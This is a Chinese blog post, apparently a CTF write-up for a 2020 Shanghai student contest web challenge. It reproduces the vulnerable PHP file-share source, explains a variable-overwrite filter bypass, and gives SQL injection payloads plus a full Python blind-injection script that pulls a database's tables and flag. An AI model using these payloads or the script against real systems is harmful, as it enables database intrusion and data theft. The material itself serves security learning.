首页 > 其他分享 >2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘

时间:2023-06-19 19:32:22浏览次数:53  
标签:code 大学生 网盘 flag 网安 mysqli POST 114514 select


2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_mysql

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_html_02


根目录/www.zip有源码

index.php

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <title>千毒网盘</title>
</head>
<body>
<div class="container">
<div class="page-header">
				<h1>
					千毒网盘 <small>提取你的文件</small>
				</h1>
			</div>
	<div class="row clearfix">
	<div class="col-md-4 column">
		</div>
		<div class="col-md-4 column">
			<br>
			<form role="form" action='/index.php' method="POST">
				<div class="form-group">
					 <h3>提取码</h3><br><input class="form-control" name="code" />
				</div>
				<button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button>
			</form> 
			<br>
			<?php
			include 'code.php';

			$pan = new Pan();

			foreach(array('_GET', '_POST', '_COOKIE') as $key)
			{   
				if($$key) {
					foreach($$key as $key_2 => $value_2) { 
						if(isset($$key_2) and $$key_2 == $value_2) 
							unset($$key_2); 
					}
				}
			}
			if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
			if($_GET) extract($_GET, EXTR_SKIP);
			if($_POST) extract($_POST, EXTR_SKIP);
			if(isset($_POST['code']))
			{
				$message = $pan->getfile();
				echo <<<EOF
				<div class="alert alert-dismissable alert-info">
				 <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
				<h4>
					注意!
				</h4> <strong>注意!</strong> {$message}
				</div>
EOF;
			}
			?>
		</div>
		<div class="col-md-4 column">
		</div>
	</div>
	</div>
</div>
</body>
</html>

code.php

<?php

class Pan
{
    public $hostname = '127.0.0.1';
    public $username = 'root';
    public $password = 'root';
    public $database = 'ctf';
    private $mysqli = null;

    public function __construct()
    {
        
        $this->mysqli = mysqli_connect(
            $this->hostname,
            $this->username,
            $this->password
        );
        mysqli_select_db($this->mysqli,$this->database);

        
    }

    public function filter($string) 
    {
        $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
        if($safe === 0){
            return $string;
        }else{
            return False;
        }
		    
    }

    public function getfile()
    {
        
        $code = $_POST['code'];

        if($code === False) return '非法提取码!';
        $file_code = array(114514,233333,666666);
        
        if(in_array($code,$file_code))
        {
            $sql = "select * from file where code='$code'";
            $result = mysqli_query($this->mysqli,$sql);
            $result = mysqli_fetch_object($result);
            return '下载直链为:'.$result->url;
        }else{
            return '提取码不存在!';
        }
        
    }

}

参考:https://daolgts.github.io/2018/09/05/unset-%E8%AE%B0%E4%B8%80%E9%81%93CTF%E9%A2%98/

构造payload

GET
http://eci-2ze9e94upkcj2cauphmj.cloudeci1.ichunqiu.com/index.php?_POST[code]=114514'/**/and/**/1=1#

POST
code=114514'/**/and/**/1=1#

and 1=1

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_mysql_03


and 1=2

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_php_04


联合查询可直接得到flag,需要注意的点是,这里无法通过构造前面为假后面为真的情况直接返回回显(因为前面一旦错误,直接被if判断为提取码不存在!),另外这里in_array()函数没有加第三个参数为true,存在弱类型缺陷,不过没啥影响

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_mysql_05


只能构造如上条件,union select两边都为真,返回两条数据,想要返回下面那条数据直接加个limit 1,1即可

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_php_06


payload

7777777'  union select 1,2 limit 1,1#

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_php_07


然后就是正常的注入过程了,这里就不一一演示了,直接查flag

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_html_08


然后比赛的时候我傻乎乎的用盲注做的。。。。。。贴一下盲注的解法

盲注脚本

import requests,string
from urllib.parse import quote

ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2ze9e94upkcj2cauphmj.cloudeci1.ichunqiu.com/index.php?_POST[code]='

post_header = {'Host': 'eci-2ze9e94upkcj2cauphmj.cloudeci1.ichunqiu.com',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
               'Accept-Encoding': 'gzip, deflate',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type': 'application/x-www-form-urlencoded'}

for i in range(1,100):
    for j in ascii_str:
        payload = "114514'/**/and/**/ord(mid(database(),{0},1))={1}#".format(i,ord(j))
        post_content = {'code':payload}
        res_url = url+quote(payload)
        res = requests.post(url=res_url,headers=post_header,data=post_content)
        if 'png' in res.text:
            print(j,end="")

payload

114514'/**/and/**/ord(mid(database(),{0},1))={1}#

114514'/**/and/**/ord(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))={1}#

114514'/**/and/**/ord(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{0},1))={1}#

114514'/**/and/**/ord(mid((select/**/flag/**/from/**/ctf.flag),{0},1))={1}#

查询出来的结果

Databases: ctf
[ctf]Tables: file,flag
[flag]columns: flag

2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_html_09


标签:code,大学生,网盘,flag,网安,mysqli,POST,114514,select
From: https://blog.51cto.com/u_16159500/6517112

相关文章

  • 网安研发之初识抽象语法树
    原文合集地址如下,有需要的朋友可以关注本文地址合集地址认识抽象语法树什么是抽象语法树抽象语法树(AbstractSyntaxTree,简称AST)是计算机科学中一种用于表示程序源代码结构的树状数据结构。它是源代码经过词法分析和语法分析之后生成的一种中间表示形式。AST以树的形式表示程序的语......
  • 网安研发之初识抽象语法树
    原文合集地址如下,有需要的朋友可以关注本文地址合集地址认识抽象语法树什么是抽象语法树抽象语法树(AbstractSyntaxTree,简称AST)是计算机科学中一种用于表示程序源代码结构的树状数据结构。它是源代码经过词法分析和语法分析之后生成的一种中间表示形式。AST以树的形式表示......
  • 本科生应该选择考研还是就业?这是所有大学生应该思考的问题
    亮观点首先要声明接下来的内容主要是针对互联网人来说的,不适用于所有人。对于互联网人,特别是做技术的来说,越早就业越好。是什么给出这个结论?我在大一的时候就决定了毕业以后找工作,读到高三已经是12年的光阴,对于当时的我来说,再读完四年大学,我再也不想读书了。一是因为家庭条件......
  • 网安工具整理
    本文章集成了全网优秀的开源攻防武器项目,包含:信息收集工具(自动化利用工具、资产发现工具、目录扫描工具、子域名收集工具、指纹识别工具、端口扫描工具、各种插件....etc...)漏洞利用工具(各大CMS利用工具、中间件利用工具等项目........)内网渗透工具(隧道代理、密码提取.....)应......
  • 网安--信息收集总结
    goby环境下载1、下载Npcap数据捕获包2、下载goby信息收集总结已有:资产范围如果只有名称,先找到官网的域名域名--子域名--ip针对子域名:进行目录、端口扫描重点:寻找到真实ip:进行目录、端口扫描、查找每个网站中可能存在的漏洞 ......
  • 2023届陕西省大学生网络技能安全赛-misc复现
    赛事地址【云演】--信息安全在线教育平台,让攻防更简单!(yunyansec.com)管道   附件一张图片,由题目介绍可知存在lsb隐写使用zsteg指令检测 可是雪飘进双眼所给附件有一个加密压缩包和文件夹文件夹里有一个音频和文本 音频里藏有摩斯密码  由txt文件可以......
  • 网安--自动化信息收集水泽
    水泽运行原理: 环境安装1、当前用户对目录具有写权限2、python环境必须在3.7以上3、在配置文件iniFile/config.ini里加入api(fofa、shodan、github、virustotal等等)调用信息收集平台的apipythonShuize.oy--p    设置代理-d    查找目标域名-c     收......
  • 网安--信息收集
    waf识别判断对方使用的waf,进行绕过判断使用的waf:不同的具有不同的提示页面1、手动识别 2、自动探测工具:wafw00f命令:waf00f域名cms识别1、潮汐指纹:http://finger.tidesec.net/2、whatweb工具3、插件wappalyzer4、在网站源代码中查找metaname="generator"api接口we......
  • 1T空间只是噱头而已! 网盘容量大战背后的技术秘密
    最近一段时间,各大网盘容量大战红红火火,网盘的容量也由此达到了TB级。其实网盘产业一直以来都是互联网行业中最烧钱的之一。想想现在各大网盘如果真是给每个人都TB级的容量,这个投入是巨大的,其实也是非常不经济的。那么各大网盘的聪明工程师们是如何从技术上解决BT大容量网盘的发......
  • 【Windows】百度网盘桌面“同步空间”图标删除
    ✨百度网盘桌面“同步空间”图标桌面出现“同步空间图标”右键无法删除✨解决方案搜索注册表编辑器或者regedit在注册表编辑器中,编辑>查找:同步空间,删除相关项!注意:搜索出来同步空间相关项较多,如仅需删除桌面图标请直接定位到计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Mic......